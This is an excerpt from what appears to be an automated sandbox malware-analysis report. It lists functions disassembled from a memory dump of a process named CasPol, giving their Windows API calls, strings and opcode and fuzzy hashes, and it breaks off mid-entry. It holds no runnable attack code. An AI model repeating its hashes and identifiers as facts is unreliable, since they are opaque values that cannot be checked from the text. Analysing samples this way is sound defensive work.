                                                                                                                                                                                                  Function 0040A45A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040A47B
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040A4AE
                                                                                                                                                                                                  • wcslen.MSVCRT ref: 0040A4BA
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                                                                                                                                  • wcslen.MSVCRT ref: 0040A4E0
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memcpywcslen$_snwprintfmemset
                                                                                                                                                                                                  • String ID: %s (%s)$YV@
                                                                                                                                                                                                  • API String ID: 3979103747-598926743
                                                                                                                                                                                                  • Opcode ID: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                                                                                                                                                                                                  • Instruction ID: 06bfc13611ed198a4270a5cd43788582667178ba612a9453d6f3368808cd6753
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 31216F72900219BBDF21DF55CC45D8BB7B8BF04318F018466E948AB106DB74EA188BD9
                                                                                                                                                                                                  Function 004044A4 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52libraryloaderwindowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                                                                                                                                  • MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Library$AddressFreeLoadMessageProc
                                                                                                                                                                                                  • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                                                                                                                                                                                                  • API String ID: 2780580303-317687271
                                                                                                                                                                                                  • Opcode ID: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                                                                                                                                  • Instruction ID: 703d86131c3dcb59aab6256491fb2853d543806c906e0642a055f98632e98cc8
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B201D6757502217BE7112FB69C49F7B7A9CFF82749B000035E601E2180EAB8D901926D
                                                                                                                                                                                                  Function 0040541F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 78COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004055A4: GetLastError.KERNEL32(?,00000000,00405522,?,?,?,00000000,00000000,?,00408E1C,?,?,00000060,00000000), ref: 004055B9
                                                                                                                                                                                                  • memset.MSVCRT ref: 00405455
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040546C
                                                                                                                                                                                                  • memset.MSVCRT ref: 00405483
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00405498
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004054AD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$memcpy$ErrorLast
                                                                                                                                                                                                  • String ID: 6$\
                                                                                                                                                                                                  • API String ID: 404372293-1284684873
                                                                                                                                                                                                  • Opcode ID: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                                                                                                                                                                                                  • Instruction ID: af38dfd20ac5a94c77b7ead9800c7a3089711b207e9f3183cf3669ed78e53beb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 572141B280112CBBDF11AF99DC45EDF7BACDF15304F0080A6B509E2156E6398B988F65
                                                                                                                                                                                                  Function 0040A06C Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A088
                                                                                                                                                                                                  • GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 0040A0B4
                                                                                                                                                                                                  • GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 0040A0C9
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040A0D9
                                                                                                                                                                                                  • wcscat.MSVCRT ref: 0040A0E6
                                                                                                                                                                                                  • wcscat.MSVCRT ref: 0040A0F5
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040A107
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Time$Formatwcscatwcscpy$DateFileSystem
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1331804452-0
                                                                                                                                                                                                  • Opcode ID: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                                                                                                                                  • Instruction ID: 70f18838178cd2dbc623065d80ced1a8b0c5b1489d8a310e1ceaee9f81d034e1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 321191B284011DBFEB10AF95DC45DEF777CEB01745F104076B904B6091E6399E858B7A
                                                                                                                                                                                                  Function 00410030 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • <?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00410083
                                                                                                                                                                                                  • <%s>, xrefs: 004100A6
                                                                                                                                                                                                  • <?xml version="1.0" ?>, xrefs: 0041007C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$_snwprintf
                                                                                                                                                                                                  • String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
                                                                                                                                                                                                  • API String ID: 3473751417-2880344631
                                                                                                                                                                                                  • Opcode ID: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                                                                                                                                                                                                  • Instruction ID: 2862698e7f89dc449948c814091faf4507903f68b21858a7dbdf66e33a92e1a6
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F501C8F2E402197BD720AA559C41FEAB6ACEF48345F0040B7B608B3151D6389F494B99
                                                                                                                                                                                                  Function 0040A178 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: wcscat$_snwprintfmemset
                                                                                                                                                                                                  • String ID: %2.2X
                                                                                                                                                                                                  • API String ID: 2521778956-791839006
                                                                                                                                                                                                  • Opcode ID: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                                                                                                                                                                                                  • Instruction ID: 672bbb69153a15f1984629f72f86def8939f314c78adde6f8276b735d3b02408
                                                                                                                                                                                                  • Opcode Fuzzy Hash: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2101D472A403297AF7206756AC46BBA33ACAB41714F11407BFC14AA1C2EA7C9A54469A
                                                                                                                                                                                                  Function 0040C3C3 Relevance: 9.1, APIs: 6, Instructions: 109registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                                                                                                                                    • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                                                                                                                                    • Part of subcall function 00414592: RegOpenKeyExW.KERNEL32(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                                                                                                                                    • Part of subcall function 0040A9CE: free.MSVCRT ref: 0040A9DD
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040C439
                                                                                                                                                                                                  • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                                                                                                                                  • _wcsupr.MSVCRT ref: 0040C481
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040C4D0
                                                                                                                                                                                                  • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,?), ref: 0040C508
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: free$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4131475296-0
                                                                                                                                                                                                  • Opcode ID: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                                                                                                                                                                                                  • Instruction ID: d2440758a7fd93b52fc88bd6111275bc9aa4df1ffeb01c53d5483546710cd2f3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A4411CB2900219BBDB00EF95DC85EEFB7BCAF48304F10417AB505F6191D7749A44CBA5
                                                                                                                                                                                                  Function 004174F5 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • AreFileApisANSI.KERNEL32 ref: 004174FC
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041751A
                                                                                                                                                                                                  • malloc.MSVCRT ref: 00417524
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041753B
                                                                                                                                                                                                  • free.MSVCRT ref: 00417544
                                                                                                                                                                                                  • free.MSVCRT ref: 00417562
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWidefree$ApisFilemalloc
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4131324427-0
                                                                                                                                                                                                  • Opcode ID: 5d21432bc65b929392c7d49bf17a02b877e07d349bc8417fbf8b7ee350a515ff
                                                                                                                                                                                                  • Instruction ID: 8d188238c5fd2fb6163cec5331830b967abe0ebba74b79ef9884251e0929a2bc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5d21432bc65b929392c7d49bf17a02b877e07d349bc8417fbf8b7ee350a515ff
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9701D4726081257BEB215B7A9C41DEF3AAEDF463B47210226FC14E3280EA38DD4141BD
                                                                                                                                                                                                  Function 00418197 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetTempPathW.KERNEL32(000000E6,?), ref: 004181DB
                                                                                                                                                                                                  • GetTempPathA.KERNEL32(000000E6,?), ref: 00418203
                                                                                                                                                                                                  • free.MSVCRT ref: 0041822B
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: PathTemp$free
                                                                                                                                                                                                  • String ID: %s\etilqs_$etilqs_
                                                                                                                                                                                                  • API String ID: 924794160-1420421710
                                                                                                                                                                                                  • Opcode ID: 15bc68a9d504a75b2650ebb6305fe60db7282026434a3c37ef8699a19a7f4611
                                                                                                                                                                                                  • Instruction ID: b359b55a6514fc6c55a0405950767d5f88b37029f74eadb26d8a0dc7501745d5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 15bc68a9d504a75b2650ebb6305fe60db7282026434a3c37ef8699a19a7f4611
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 43313931A046169BE725A3669C41BFB735C9B64308F2004AFE881C2283EF7CDEC54A5D
                                                                                                                                                                                                  Function 0041748F Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • AreFileApisANSI.KERNEL32 ref: 00417497
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004174B7
                                                                                                                                                                                                  • malloc.MSVCRT ref: 004174BD
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 004174DB
                                                                                                                                                                                                  • free.MSVCRT ref: 004174E4
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide$ApisFilefreemalloc
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4053608372-0
                                                                                                                                                                                                  • Opcode ID: 26b6d0d827bb447631a2da2f7ad9fad7d37cc7249bf214c4621a9d0d58d44de2
                                                                                                                                                                                                  • Instruction ID: 68224c9aa4b31b20fa5037399352f9c2f04b40a845063e8f60522cdb36b448b3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 26b6d0d827bb447631a2da2f7ad9fad7d37cc7249bf214c4621a9d0d58d44de2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DE01A4B150412DBEAF115FA99C80CAF7E7CEA463FC721422AF514E2290DA345E405AB9
                                                                                                                                                                                                  Function 0040D441 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetParent.USER32(?), ref: 0040D453
                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0040D460
                                                                                                                                                                                                  • GetClientRect.USER32(00000000,?), ref: 0040D46B
                                                                                                                                                                                                  • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0040D47B
                                                                                                                                                                                                  • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040D497
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Window$Rect$ClientParentPoints
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4247780290-0
                                                                                                                                                                                                  • Opcode ID: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                                                                                                                                  • Instruction ID: 8744084584fea1eb3916f9079d499296a2dd08f7759f51c0708cf8f54c9212ed
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 62018836801129BBDB11EBA6CC49EFFBFBCFF06310F048069F901A2180D778A5018BA5
                                                                                                                                                                                                  Function 00445093 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                                                                                                                                                                                                  • memset.MSVCRT ref: 004450CD
                                                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                                                                                                                                    • Part of subcall function 00444E84: memchr.MSVCRT ref: 00444EBF
                                                                                                                                                                                                    • Part of subcall function 00444E84: memcpy.MSVCRT(?,0044EB0C,0000000B,?,?,?,00000000,00000000,00000000), ref: 00444F63
                                                                                                                                                                                                    • Part of subcall function 00444E84: memcpy.MSVCRT(?,00000001,00000008,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00444F75
                                                                                                                                                                                                    • Part of subcall function 00444E84: memcpy.MSVCRT(?,?,00000010,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00444F9D
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 004450F7
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1471605966-0
                                                                                                                                                                                                  • Opcode ID: 2aed10359402c50519c1c236b6adb34ede6eedef97d485569bed8d1556fc9971
                                                                                                                                                                                                  • Instruction ID: af7e2442fb2a0afe256a59df9b01c6fa6c67666c78107f96d02934f32f814c95
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2aed10359402c50519c1c236b6adb34ede6eedef97d485569bed8d1556fc9971
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D8F0C2765002107BE5207736AC8AEAB3A5CDF96771F11893FF416921D2EE698814C1BD
                                                                                                                                                                                                  Function 004100D7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 004100FB
                                                                                                                                                                                                  • memset.MSVCRT ref: 00410112
                                                                                                                                                                                                    • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                                                                                                                                                                                                    • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 00410141
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$_snwprintf_wcslwrwcscpy
                                                                                                                                                                                                  • String ID: </%s>
                                                                                                                                                                                                  • API String ID: 3400436232-259020660
                                                                                                                                                                                                  • Opcode ID: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                                                                                                                                                                                                  • Instruction ID: d6b380c41b5e3e458bf6abeca455f552dea24a705517b0a2e3702c553642f250
                                                                                                                                                                                                  • Opcode Fuzzy Hash: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9B01DBF3D0012977D730A755CC46FEA76ACEF45304F0000B6BB08B3186DB78DA458A99
                                                                                                                                                                                                  Function 00401137 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00409BFD: memset.MSVCRT ref: 00409C07
                                                                                                                                                                                                    • Part of subcall function 00409BFD: wcscpy.MSVCRT ref: 00409C47
                                                                                                                                                                                                  • CreateFontIndirectW.GDI32(?), ref: 00401156
                                                                                                                                                                                                  • SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 00401175
                                                                                                                                                                                                  • SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 00401193
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
                                                                                                                                                                                                  • String ID: MS Sans Serif
                                                                                                                                                                                                  • API String ID: 210187428-168460110
                                                                                                                                                                                                  • Opcode ID: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                                                                                                                                                                                                  • Instruction ID: 44e142790c58e2983bb51e892a2c7280827b5342727586ee11fe1c2be2fb852b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7CF082B5A4030877EB326BA1DC46F9A77BDBB44B01F040935F721B91D1D3F4A585C658
                                                                                                                                                                                                  Function 00412018 Relevance: 6.1, APIs: 4, Instructions: 99windowkeyboardCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 00412057
                                                                                                                                                                                                    • Part of subcall function 0040A116: ShellExecuteW.SHELL32(?,open,?,0044E518,0044E518,00000005), ref: 0040A12C
                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 004120C7
                                                                                                                                                                                                  • GetMenuStringW.USER32(?,00000103,?,0000004F,00000000), ref: 004120E1
                                                                                                                                                                                                  • GetKeyState.USER32(00000010), ref: 0041210D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExecuteMenuMessageSendShellStateStringmemset
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3550944819-0
                                                                                                                                                                                                  • Opcode ID: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                                                                                                                                                                                                  • Instruction ID: 97bad96470fefb965444fbd8e179d7ef3b872eae7f66eff2ef5a186de824ffeb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5341C330600305EBDB209F15CD88B9677A8AB54324F10817AEA699B2E2D7B89DD1CB14
                                                                                                                                                                                                  Function 004144BB Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 004144E7
                                                                                                                                                                                                    • Part of subcall function 0040A353: _snwprintf.MSVCRT ref: 0040A398
                                                                                                                                                                                                    • Part of subcall function 0040A353: memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 0040A3A8
                                                                                                                                                                                                  • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00414510
                                                                                                                                                                                                  • memset.MSVCRT ref: 0041451A
                                                                                                                                                                                                  • GetPrivateProfileStringW.KERNEL32(?,?,0044E518,?,00002000,?), ref: 0041453C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1127616056-0
                                                                                                                                                                                                  • Opcode ID: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
